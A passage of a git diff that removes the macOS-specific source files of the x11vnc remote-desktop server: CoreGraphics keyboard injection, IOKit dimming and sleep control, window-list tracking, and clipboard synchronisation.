-void CGPostKeyboardEvent_wr(CGCharCode keyChar, CGKeyCode keyCode, int down) {
- static int post_mode = -1, mcnt = 0;
-
-#if !X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS && !X11VNC_MACOSX_NO_DEPRECATED
- if (post_mode < 0) {
- post_mode = 1;
- if (getenv("X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS") || getenv("X11VNC_MACOSX_NO_DEPRECATED")) {
- post_mode = 0;
- }
- }
-
- if (post_mode) {
- if (mcnt++ < 10 || debug_keyboard) fprintf(stderr, "CGPostKeyboardEvent(keyChar=%d, keyCode=%d, down=%d)\n", keyChar, keyCode, down);
- CGPostKeyboardEvent(keyChar, keyCode, down);
- } else
-#endif
- {
- /* XXX 10.4 and later */
-#ifndef X11VNC_MACOSX_NO_CGEVENTCREATEKEYBOARDEVENT
- CGEventRef event;
- event = CGEventCreateKeyboardEvent(NULL, keyCode, down);
- if (event != NULL) {
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
-#endif
- if (mcnt++ < 10 || debug_keyboard) fprintf(stderr, "CGEventCreateKeyboardEvent(NULL, keyCode=%d, down=%d)\n", keyCode, down);
- }
-}
-
-void macosxCG_keycode_inject(int down, int keycode) {
- CGKeyCode keyCode = (CGKeyCode) keycode;
- CGCharCode keyChar = 0;
-
- if (debug_keyboard) fprintf(stderr, "macosxCG_keycode_inject(down=%d, keycode=%d)\n", down, keycode);
-
- CGPostKeyboardEvent_wr(keyChar, keyCode, down);
-}
-
-void macosxCG_keysym_inject(int down, unsigned int keysym) {
- CGKeyCode keyCode = keyTable[(unsigned short)keysym];
- CGCharCode keyChar = 0;
-#if 0
- int pressModsForKeys = FALSE;
- UInt32 modsForKey = keyTableMods[keysym] << 8;
-#endif
-
- init_key_table();
-
- if (debug_keyboard) fprintf(stderr, "macosxCG_keysym_inject(down=%d, keysym=%d)\n", down, (int) keysym);
-
- if (keysym < 0xFF && macosx_us_kbd) {
- keyChar = (CGCharCode) keysym;
- if (debug_keyboard) fprintf(stderr, "macosxCG_keysym_inject keyChar=>%d\n", (int) keyChar);
- }
- if (keyCode == 0xFFFF) {
- return;
- }
- macosxCGP_undim();
-
- CGPostKeyboardEvent_wr(keyChar, keyCode, down);
-}
-
-#endif /* __APPLE__ */
-
-
diff --git a/x11vnc/macosxCG.h b/x11vnc/macosxCG.h
deleted file mode 100644
index fb9e497..0000000
--- a/x11vnc/macosxCG.h
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_MACOSXCG_H
-#define _X11VNC_MACOSXCG_H
-
-/* -- macosxCG.h -- */
-
-extern void macosxCG_init(void);
-extern void macosxCG_fini(void);
-extern void macosxCG_event_loop(void);
-extern char *macosxCG_get_fb_addr(void);
-
-extern int macosxCG_CGDisplayPixelsWide(void);
-extern int macosxCG_CGDisplayPixelsHigh(void);
-extern int macosxCG_CGDisplayBitsPerPixel(void);
-extern int macosxCG_CGDisplayBitsPerSample(void);
-extern int macosxCG_CGDisplaySamplesPerPixel(void);
-extern int macosxCG_CGDisplayBytesPerRow(void);
-
-extern void macosxCG_pointer_inject(int mask, int x, int y);
-extern int macosxCG_get_cursor_pos(int *x, int *y);
-extern int macosxCG_get_cursor(void);
-extern void macosxCG_init_key_table(void);
-extern void macosxCG_keysym_inject(int down, unsigned int keysym);
-extern void macosxCG_keycode_inject(int down, int keycode);
-
-extern void macosxCG_refresh_callback_off(void);
-extern void macosxCG_refresh_callback_on(void);
-
-
-
-#endif /* _X11VNC_MACOSXCG_H */
diff --git a/x11vnc/macosxCGP.c b/x11vnc/macosxCGP.c
deleted file mode 100644
index 230042c..0000000
--- a/x11vnc/macosxCGP.c
+++ /dev/null
@@ -1,221 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- macosxCGP.c -- */
-
-void macosxCGP_unused(void) {}
-
-#if (defined(__MACH__) && defined(__APPLE__))
-
-#include <ApplicationServices/ApplicationServices.h>
-#include <Cocoa/Cocoa.h>
-#include <Carbon/Carbon.h>
-
-int macosxCGP_save_dim(void);
-int macosxCGP_restore_dim(void);
-int macosxCGP_save_sleep(void);
-int macosxCGP_restore_sleep(void);
-int macosxCGP_init_dimming(void);
-int macosxCGP_undim(void);
-int macosxCGP_dim_shutdown(void);
-void macosxCGP_screensaver_timer_off(void);
-void macosxCGP_screensaver_timer_on(void);
-
-#include <IOKit/pwr_mgt/IOPMLib.h>
-#include <IOKit/pwr_mgt/IOPM.h>
-
-extern CGDirectDisplayID displayID;
-
-static unsigned long dim_time;
-static unsigned long sleep_time;
-static int dim_time_saved = 0;
-static int sleep_time_saved = 0;
-static int initialized = 0;
-static mach_port_t master_dev_port;
-static io_connect_t power_mgt;
-
-extern int client_count;
-extern int macosx_nodimming;
-extern int macosx_nosleep;
-extern int macosx_noscreensaver;
-
-static EventLoopTimerUPP sstimerUPP;
-static EventLoopTimerRef sstimer;
-
-void macosxCG_screensaver_timer(EventLoopTimerRef timer, void *data) {
- if (0) fprintf(stderr, "macosxCG_screensaver_timer: %d\n", (int) time(0));
- if (!timer || !data) {}
- if (macosx_nosleep && client_count) {
- if (0) fprintf(stderr, "UpdateSystemActivity: %d\n", (int) time(0));
- UpdateSystemActivity(IdleActivity);
- }
-}
-
-void macosxCGP_screensaver_timer_off(void) {
- if (0) fprintf(stderr, "macosxCGP_screensaver_timer_off: %d\n", (int) time(0));
- RemoveEventLoopTimer(sstimer);
- DisposeEventLoopTimerUPP(sstimerUPP);
-}
-
-void macosxCGP_screensaver_timer_on(void) {
- if (0) fprintf(stderr, "macosxCGP_screensaver_timer_on: %d\n", (int) time(0));
- sstimerUPP = NewEventLoopTimerUPP(macosxCG_screensaver_timer);
- InstallEventLoopTimer(GetMainEventLoop(), kEventDurationSecond * 30,
- kEventDurationSecond * 30, sstimerUPP, NULL, &sstimer);
-}
-
-int macosxCGP_save_dim(void) {
- if (IOPMGetAggressiveness(power_mgt, kPMMinutesToDim,
- &dim_time) != kIOReturnSuccess) {
- return 0;
- }
- dim_time_saved = 1;
- return 1;
-}
-
-int macosxCGP_restore_dim(void) {
- if (! dim_time_saved) {
- return 0;
- }
- if (IOPMSetAggressiveness(power_mgt, kPMMinutesToDim,
- dim_time) != kIOReturnSuccess) {
- return 0;
- }
- dim_time_saved = 0;
- dim_time = 0;
- return 1;
-}
-
-int macosxCGP_save_sleep(void) {
- if (IOPMGetAggressiveness(power_mgt, kPMMinutesToSleep,
- &sleep_time) != kIOReturnSuccess) {
- return 0;
- }
- sleep_time_saved = 1;
- return 1;
-}
-
-int macosxCGP_restore_sleep(void) {
- if (! sleep_time_saved) {
- return 0;
- }
- if (IOPMSetAggressiveness(power_mgt, kPMMinutesToSleep,
- dim_time) != kIOReturnSuccess) {
- return 0;
- }
- sleep_time_saved = 0;
- sleep_time = 0;
- return 1;
-}
-
-int macosxCGP_init_dimming(void) {
- if (IOMasterPort(bootstrap_port, &master_dev_port) !=
- kIOReturnSuccess) {
- return 0;
- }
- if (!(power_mgt = IOPMFindPowerManagement(master_dev_port))) {
- return 0;
- }
- if (macosx_nodimming) {
- if (! macosxCGP_save_dim()) {
- return 0;
- }
- if (IOPMSetAggressiveness(power_mgt, kPMMinutesToDim, 0)
- != kIOReturnSuccess) {
- return 0;
- }
- }
- if (macosx_nosleep) {
- if (! macosxCGP_save_sleep()) {
- return 0;
- }
- if (IOPMSetAggressiveness(power_mgt, kPMMinutesToSleep, 0)
- != kIOReturnSuccess) {
- return 0;
- }
- }
-
- initialized = 1;
- return 1;
-}
-
-int macosxCGP_undim(void) {
- if (! initialized) {
- return 0;
- }
- if (! macosx_nodimming) {
- if (! macosxCGP_save_dim()) {
- return 0;
- }
- if (IOPMSetAggressiveness(power_mgt, kPMMinutesToDim, 0)
- != kIOReturnSuccess) {
- return 0;
- }
- if (! macosxCGP_restore_dim()) {
- return 0;
- }
- }
- if (! macosx_nosleep) {
- if (! macosxCGP_save_sleep()) {
- return 0;
- }
- if (IOPMSetAggressiveness(power_mgt, kPMMinutesToSleep, 0)
- != kIOReturnSuccess) {
- return 0;
- }
- if (! macosxCGP_restore_sleep()) {
- return 0;
- }
- }
- return 1;
-}
-
-int macosxCGP_dim_shutdown(void) {
- if (! initialized) {
- return 0;
- }
- if (dim_time_saved) {
- if (! macosxCGP_restore_dim()) {
- return 0;
- }
- }
- if (sleep_time_saved) {
- if (! macosxCGP_restore_sleep()) {
- return 0;
- }
- }
- return 1;
-}
-
-#endif /* __APPLE__ */
-
-
diff --git a/x11vnc/macosxCGP.h b/x11vnc/macosxCGP.h
deleted file mode 100644
index 47026b0..0000000
--- a/x11vnc/macosxCGP.h
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_MACOSXCGP_H
-#define _X11VNC_MACOSXCGP_H
-
-/* -- macosxCGP.h -- */
-
-extern int macosxCGP_save_dim(void);
-extern int macosxCGP_restore_dim(void);
-extern int macosxCGP_save_sleep(void);
-extern int macosxCGP_restore_sleep(void);
-extern int macosxCGP_init_dimming(void);
-extern int macosxCGP_undim(void);
-extern int macosxCGP_dim_shutdown(void);
-extern void macosxCGP_screensaver_timer_off(void);
-extern void macosxCGP_screensaver_timer_on(void);
-
-
-#endif /* _X11VNC_MACOSXCGP_H */
diff --git a/x11vnc/macosxCGS.c b/x11vnc/macosxCGS.c
deleted file mode 100644
index 7680130..0000000
--- a/x11vnc/macosxCGS.c
+++ /dev/null
@@ -1,602 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- macosxCGS.c -- */
-
-/*
- * We need to keep this separate from nearly everything else, e.g. rfb.h
- * and the other stuff, otherwise it does not work properly, mouse drags
- * will not work!!
- */
-void macosxCGS_unused(void) {}
-
-#if (defined(__MACH__) && defined(__APPLE__))
-
-#include <ApplicationServices/ApplicationServices.h>
-#include <Cocoa/Cocoa.h>
-#include <Carbon/Carbon.h>
-
-extern CGDirectDisplayID displayID;
-
-void macosxCGS_get_all_windows(void);
-int macosxCGS_get_qlook(int);
-void macosxGCS_set_pasteboard(char *str, int len);
-
-typedef CGError CGSError;
-typedef long CGSWindowCount;
-typedef void * CGSConnectionID;
-typedef int CGSWindowID;
-typedef CGSWindowID* CGSWindowIDList;
-typedef CGWindowLevel CGSWindowLevel;
-typedef NSRect CGSRect;
-
-extern CGSConnectionID _CGSDefaultConnection ();
-
-extern CGSError CGSGetOnScreenWindowList (CGSConnectionID cid,
- CGSConnectionID owner, CGSWindowCount listCapacity,
- CGSWindowIDList list, CGSWindowCount *listCount);
-
-extern CGSError CGSGetWindowList (CGSConnectionID cid,
- CGSConnectionID owner, CGSWindowCount listCapacity,
- CGSWindowIDList list, CGSWindowCount *listCount);
-
-extern CGSError CGSGetScreenRectForWindow (CGSConnectionID cid,
- CGSWindowID wid, CGSRect *rect);
-
-extern CGWindowLevel CGSGetWindowLevel (CGSConnectionID cid,
- CGSWindowID wid, CGSWindowLevel *level);
-
-typedef enum _CGSWindowOrderingMode {
- kCGSOrderAbove = 1, /* Window is ordered above target. */
- kCGSOrderBelow = -1, /* Window is ordered below target. */
- kCGSOrderOut = 0 /* Window is removed from the on-screen window list. */
-} CGSWindowOrderingMode;
-
-extern OSStatus CGSOrderWindow(const CGSConnectionID cid,
- const CGSWindowID wid, CGSWindowOrderingMode place, CGSWindowID relativeToWindowID);
-
-static CGSConnectionID cid = NULL;
-
-extern void macosx_log(char *);
-
-int macwinmax = 0;
-typedef struct windat {
- int win;
- int x, y;
- int width, height;
- int level;
- int mapped;
- int clipped;
- int ncache_only;
-} windat_t;
-
-extern int ncache;
-
-#define MAXWINDAT 4096
-windat_t macwins[MAXWINDAT];
-static CGSWindowID _wins_all[MAXWINDAT];
-static CGSWindowID _wins_mapped[MAXWINDAT];
-static CGSWindowCount _wins_all_cnt, _wins_mapped_cnt;
-static int _wins_int[MAXWINDAT];
-
-#define WINHISTNUM 32768
-#define WINHISTMAX 4
-char whist[WINHISTMAX][WINHISTNUM];
-int whist_idx = -1;
-int qlook[WINHISTNUM];
-
-char is_exist = 0x1;
-char is_mapped = 0x2;
-char is_clipped = 0x4;
-char is_offscreen = 0x8;
-
-extern double dnow(void);
-extern double dnowx(void);
-
-extern int dpy_x, dpy_y;
-extern int macosx_icon_anim_time;
-
-extern void macosx_add_mapnotify(int, int, int);
-extern void macosx_add_create(int, int);
-extern void macosx_add_destroy(int, int);
-extern void macosx_add_visnotify(int, int, int);
-
-int CGS_levelmax;
-int CGS_levels[16];
-
-int macosxCGS_get_qlook(int w) {
- if (w >= WINHISTNUM) {
- return -1;
- }
- return qlook[w];
-}
-
-int macosxCGS_find_index(int w) {
- static int last_index = -1;
- int idx;
-
- if (last_index >= 0) {
- if (macwins[last_index].win == w) {
- return last_index;
- }
- }
-
- idx = macosxCGS_get_qlook(w);
- if (idx >= 0) {
- if (macwins[idx].win == w) {
- last_index = idx;
- return idx;
- }
- }
-
- for (idx=0; idx < macwinmax; idx++) {
- if (macwins[idx].win == w) {
- last_index = idx;
- return idx;
- }
- }
- return -1;
-}
-
-#if 0
-extern void usleep(unsigned long usec);
-#else
-extern int usleep(useconds_t usec);
-#endif
-
-int macosxCGS_follow_animation_win(int win, int idx, int grow) {
- double t = dnow();
- int diffs = 0;
- int x, y, w, h;
- int xp = -1, yp = -1, wp = -1, hp = -1;
- CGSRect rect;
- CGSError err;
-
- int reps = 0;
-
- if (cid == NULL) {
- cid = _CGSDefaultConnection();
- if (cid == NULL) {
- return 0;
- }
- }
-
- if (idx < 0) {
- idx = macosxCGS_find_index(win);
- }
- if (idx < 0) {
- return 0;
- }
-
- while (dnow() < t + 0.001 * macosx_icon_anim_time) {
- err = CGSGetScreenRectForWindow(cid, win, &rect);
- if (err != 0) {
- break;
- }
- x = (int) rect.origin.x;
- y = (int) rect.origin.y;
- w = (int) rect.size.width;
- h = (int) rect.size.height;
-
- if (grow) {
- macwins[idx].x = x;
- macwins[idx].y = y;
- macwins[idx].width = w;
- macwins[idx].height = h;
- }
-
- if (0) fprintf(stderr, " chase: %03dx%03d+%03d+%03d %d\n", w, h, x, y, win);
- if (x == xp && y == yp && w == wp && h == hp) {
- reps++;
- if (reps >= 2) {
- break;
- }
- } else {
- diffs++;
- reps = 0;
- }
- xp = x;
- yp = y;
- wp = w;
- hp = h;
- usleep(50 * 1000);
- }
- if (diffs >= 2) {
- return 1;
- } else {
- return 0;
- }
-}
-
-extern int macosx_check_clipped(int win, int *list, int n);
-extern int macosx_check_offscreen(int win);
-
-static int check_clipped(int win) {
- int i, n = 0, win2;
- for (i = 0; i < (int) _wins_mapped_cnt; i++) {
- win2 = (int) _wins_mapped[i];
- if (win2 == win) {
- break;
- }
- _wins_int[n++] = win2;
- }
- return macosx_check_clipped(win, _wins_int, n);
-}
-
-static int check_offscreen(int win) {
- return macosx_check_offscreen(win);
-}
-
-extern int macosx_ncache_macmenu;
-
-
-void macosxCGS_get_all_windows(void) {
- static double last = 0.0;
- static int totcnt = 0;
- double dt = 0.0, now = dnow();
- int i, db = 0, whist_prv = 0, maxwin = 0, whist_skip = 0;
- CGSWindowCount cap = (CGSWindowCount) MAXWINDAT;
- CGSError err;
-
- CGS_levelmax = 0;
- CGS_levels[CGS_levelmax++] = (int) kCGDraggingWindowLevel; /* 500 ? */
- if (0) CGS_levels[CGS_levelmax++] = (int) kCGHelpWindowLevel; /* 102 ? */
- if (macosx_ncache_macmenu) CGS_levels[CGS_levelmax++] = (int) kCGPopUpMenuWindowLevel; /* 101 pulldown menu */
- CGS_levels[CGS_levelmax++] = (int) kCGMainMenuWindowLevelKey; /* 24 ? */
- CGS_levels[CGS_levelmax++] = (int) kCGModalPanelWindowLevel; /* 8 open dialog box */
- CGS_levels[CGS_levelmax++] = (int) kCGFloatingWindowLevel; /* 3 ? */
- CGS_levels[CGS_levelmax++] = (int) kCGNormalWindowLevel; /* 0 regular window */
-
- if (cid == NULL) {
- cid = _CGSDefaultConnection();
- if (cid == NULL) {
- return;
- }
- }
-
- if (dt > 0.0 && now < last + dt) {
- return;
- }
-
- last = now;
-
- macwinmax = 0;
-
- totcnt++;
-
- if (ncache > 0) {
- whist_prv = whist_idx++;
- if (whist_prv < 0) {
- whist_skip = 1;
- whist_prv = 0;
- }
- whist_idx = whist_idx % WINHISTMAX;
- for (i=0; i < WINHISTNUM; i++) {
- whist[whist_idx][i] = 0;
- qlook[i] = -1;
- }
- }
-
- err = CGSGetWindowList(cid, NULL, cap, _wins_all, &_wins_all_cnt);
-
-if (db) fprintf(stderr, "cnt: %d err: %d\n", (int) _wins_all_cnt, err);
-
- if (err != 0) {
- return;
- }
-
- for (i=0; i < (int) _wins_all_cnt; i++) {
- CGSRect rect;
- CGSWindowLevel level;
- int j, keepit = 0;
- err = CGSGetScreenRectForWindow(cid, _wins_all[i], &rect);
- if (err != 0) {
- continue;
- }
- if (rect.origin.x == 0 && rect.origin.y == 0) {
- if (rect.size.width == dpy_x) {
- if (rect.size.height == dpy_y) {
- continue;
- }
- }
- }
- err = CGSGetWindowLevel(cid, _wins_all[i], &level);
- if (err != 0) {
- continue;
- }
- for (j=0; j<CGS_levelmax; j++) {
- if ((int) level == CGS_levels[j]) {
- keepit = 1;
- break;
- }
- }
- if (! keepit) {
- continue;
- }
-
- macwins[macwinmax].level = (int) level;
- macwins[macwinmax].win = (int) _wins_all[i];
- macwins[macwinmax].x = (int) rect.origin.x;
- macwins[macwinmax].y = (int) rect.origin.y;
- macwins[macwinmax].width = (int) rect.size.width;
- macwins[macwinmax].height = (int) rect.size.height;
- macwins[macwinmax].mapped = 0;
- macwins[macwinmax].clipped = 0;
- macwins[macwinmax].ncache_only = 0;
- if (level == kCGPopUpMenuWindowLevel) {
- macwins[macwinmax].ncache_only = 1;
- }
-
-if (0 || db) fprintf(stderr, "i=%03d ID: %06d x: %03d y: %03d w: %03d h: %03d level: %d\n", i, _wins_all[i],
- (int) rect.origin.x, (int) rect.origin.y,(int) rect.size.width, (int) rect.size.height, (int) level);
-
- if (macwins[macwinmax].win < WINHISTNUM) {
- qlook[macwins[macwinmax].win] = macwinmax;
- if (macwins[macwinmax].win > maxwin) {
- maxwin = macwins[macwinmax].win;
- }
- }
-
- macwinmax++;
- }
-
- err = CGSGetOnScreenWindowList(cid, NULL, cap, _wins_mapped, &_wins_mapped_cnt);
-
-if (db) fprintf(stderr, "cnt: %d err: %d\n", (int) _wins_mapped_cnt, err);
-
- if (err != 0) {
- return;
- }
-
- for (i=0; i < (int) _wins_mapped_cnt; i++) {
- int j, idx = -1;
- int win = (int) _wins_mapped[i];
-
- if (0 <= win && win < WINHISTNUM) {
- j = qlook[win];
- if (j >= 0 && macwins[j].win == win) {
- idx = j;
- }
- }
- if (idx < 0) {
- for (j=0; j < macwinmax; j++) {
- if (macwins[j].win == win) {
- idx = j;
- break;
- }
- }
- }
- if (idx >= 0) {
- macwins[idx].mapped = 1;
- }
- }
-
- if (ncache > 0) {
- int nv= 0, NBMAX = 64;
- int nv_win[64];
- int nv_lvl[64];
- int nv_vis[64];
-
- for (i=0; i < macwinmax; i++) {
- int win = macwins[i].win;
- char prev, curr;
-
- if (win >= WINHISTNUM) {
- continue;
- }
-
- whist[whist_idx][win] |= is_exist;
- if (macwins[i].mapped) {
- whist[whist_idx][win] |= is_mapped;
- if (check_clipped(win)) {
- whist[whist_idx][win] |= is_clipped;
- macwins[i].clipped = 1;
- }
- if (check_offscreen(win)) {
- whist[whist_idx][win] |= is_offscreen;
- }
- } else {
- whist[whist_idx][win] |= is_offscreen;
- }
-
- curr = whist[whist_idx][win];
- prev = whist[whist_prv][win];
-
- if (whist_skip) {
- ;
- } else if ( !(prev & is_mapped) && (curr & is_mapped)) {
- /* MapNotify */
- if (0) fprintf(stderr, "MapNotify: %d/%d %d %.4f tot=%d\n", prev, curr, win, dnowx(), totcnt);
- macosx_add_mapnotify(win, macwins[i].level, 1);
- if (0) macosxCGS_follow_animation_win(win, i, 1);
-
- } else if ( !(curr & is_mapped) && (prev & is_mapped)) {
- /* UnmapNotify */
- if (0) fprintf(stderr, "UnmapNotify: %d/%d %d %.4f A tot=%d\n", prev, curr, win, dnowx(), totcnt);
- macosx_add_mapnotify(win, macwins[i].level, 0);
- } else if ( !(prev & is_exist) && (curr & is_exist)) {
- /* CreateNotify */
- if (0) fprintf(stderr, "CreateNotify:%d/%d %d %.4f whist: %d/%d 0x%x tot=%d\n", prev, curr, win, dnowx(), whist_prv, whist_idx, win, totcnt);
- macosx_add_create(win, macwins[i].level);
- if (curr & is_mapped) {
- if (0) fprintf(stderr, "MapNotify: %d/%d %d %.4f tot=%d\n", prev, curr, win, dnowx(), totcnt);
- macosx_add_mapnotify(win, macwins[i].level, 1);
- }
- }
- if (whist_skip) {
- ;
- } else if (nv >= NBMAX) {
- ;
- } else if (!(curr & is_mapped)) {
- ;
- } else if (!(prev & is_mapped)) {
- if (1) {
- ;
- } else if (curr & is_clipped) {
- if (0) fprintf(stderr, "VisibNotify: %d/%d %d OBS tot=%d\n", prev, curr, win, totcnt);
- nv_win[nv] = win;
- nv_lvl[nv] = macwins[i].level;
- nv_vis[nv++] = 1;
- } else {
- if (0) fprintf(stderr, "VisibNotify: %d/%d %d UNOBS tot=%d\n", prev, curr, win, totcnt);
- nv_win[nv] = win;
- nv_lvl[nv] = macwins[i].level;
- nv_vis[nv++] = 0;
- }
- } else {
- if ( !(prev & is_clipped) && (curr & is_clipped) ) {
- if (0) fprintf(stderr, "VisibNotify: %d/%d %d OBS tot=%d\n", prev, curr, win, totcnt);
- nv_win[nv] = win;
- nv_lvl[nv] = macwins[i].level;
- nv_vis[nv++] = 1;
- } else if ( (prev & is_clipped) && !(curr & is_clipped) ) {
- if (0) fprintf(stderr, "VisibNotify: %d/%d %d UNOBS tot=%d\n", prev, curr, win, totcnt);
- nv_win[nv] = win;
- nv_lvl[nv] = macwins[i].level;
- nv_vis[nv++] = 0;
- }
- }
- }
- for (i=0; i < maxwin; i++) {
- char prev, curr;
- int win = i;
- int q = qlook[i];
- int lvl = 0;
-
- if (whist_skip) {
- break;
- }
-
- if (q >= 0) {
- lvl = macwins[q].level;
- }
- curr = whist[whist_idx][win];
- prev = whist[whist_prv][win];
- if (!(curr & is_exist) && (prev & is_exist)) {
- if (prev & is_mapped) {
- if (0) fprintf(stderr, "UnmapNotify: %d/%d %d %.4f B tot=%d\n", prev, curr, win, dnowx(), totcnt);
- macosx_add_mapnotify(win, lvl, 0);
- }
- /* DestroyNotify */
- if (0) fprintf(stderr, "DestroNotify:%d/%d %d %.4f tot=%d\n", prev, curr, win, dnowx(), totcnt);
- macosx_add_destroy(win, lvl);
- }
- }
- if (nv) {
- int k;
- for (k = 0; k < nv; k++) {
- macosx_add_visnotify(nv_win[k], nv_lvl[k], nv_vis[k]);
- }
- }
- }
-}
-
-#if 1
-NSLock *pblock = nil;
-NSString *pbstr = nil;
-NSString *cuttext = nil;
-
-int pbcnt = -1;
-NSStringEncoding pbenc = NSWindowsCP1252StringEncoding;
-
-void macosxGCS_initpb(void) {
- NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
- pblock = [[NSLock alloc] init];
- if (![NSPasteboard generalPasteboard]) {
- macosx_log("macosxGCS_initpb: **PASTEBOARD INACCESSIBLE**.\n");
- macosx_log("macosxGCS_initpb: Clipboard exchange will NOT work.\n");
- macosx_log("macosxGCS_initpb: Start x11vnc *inside* Aqua for Clipboard.\n");
- pbcnt = 0;
- pbstr = [[NSString alloc] initWithString:@"\e<PASTEBOARD INACCESSIBLE>\e"];
- }
- [pool release];
-}
-
-void macosxGCS_set_pasteboard(char *str, int len) {
- NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
- if (pbcnt != 0) {
- [pblock lock];
- [cuttext release];
- cuttext = [[NSString alloc] initWithData:[NSData dataWithBytes:str length:len] encoding: pbenc];
- if ([[NSPasteboard generalPasteboard] declareTypes:[NSArray arrayWithObject:NSStringPboardType] owner:nil]) {
- NS_DURING
- [[NSPasteboard generalPasteboard] setString:cuttext forType:NSStringPboardType];
- NS_HANDLER
- fprintf(stderr, "macosxGCS_set_pasteboard: problem writing to pasteboard\n");
- NS_ENDHANDLER
- } else {
- fprintf(stderr, "macosxGCS_set_pasteboard: problem writing to pasteboard\n");
- }
- [cuttext release];
- cuttext = nil;
- [pblock unlock];
- }
- [pool release];
-}
-
-extern void macosx_send_sel(char *, int);
-
-void macosxGCS_poll_pb(void) {
-
- static double dlast = 0.0;
- double now = dnow();
-
- if (now < dlast + 0.2) {
- return;
- }
- dlast = now;
-
- {
- NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
- [pblock lock];
- if (pbcnt != [[NSPasteboard generalPasteboard] changeCount]) {
- pbcnt = [[NSPasteboard generalPasteboard] changeCount];
- [pbstr release];
- pbstr = nil;
- if ([[NSPasteboard generalPasteboard] availableTypeFromArray:[NSArray arrayWithObject:NSStringPboardType]]) {
- pbstr = [[[NSPasteboard generalPasteboard] stringForType:NSStringPboardType] copy];
- if (pbstr) {
- NSData *str = [pbstr dataUsingEncoding:pbenc allowLossyConversion:YES];
- if ([str length]) {
- macosx_send_sel((char *) [str bytes], [str length]);
- }
- }
- }
- }
- [pblock unlock];
- [pool release];
- }
-}
-#endif
-
-#endif /* __APPLE__ */
-
diff --git a/x11vnc/macosxCGS.h b/x11vnc/macosxCGS.h
deleted file mode 100644
index 21bdebd..0000000
--- a/x11vnc/macosxCGS.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
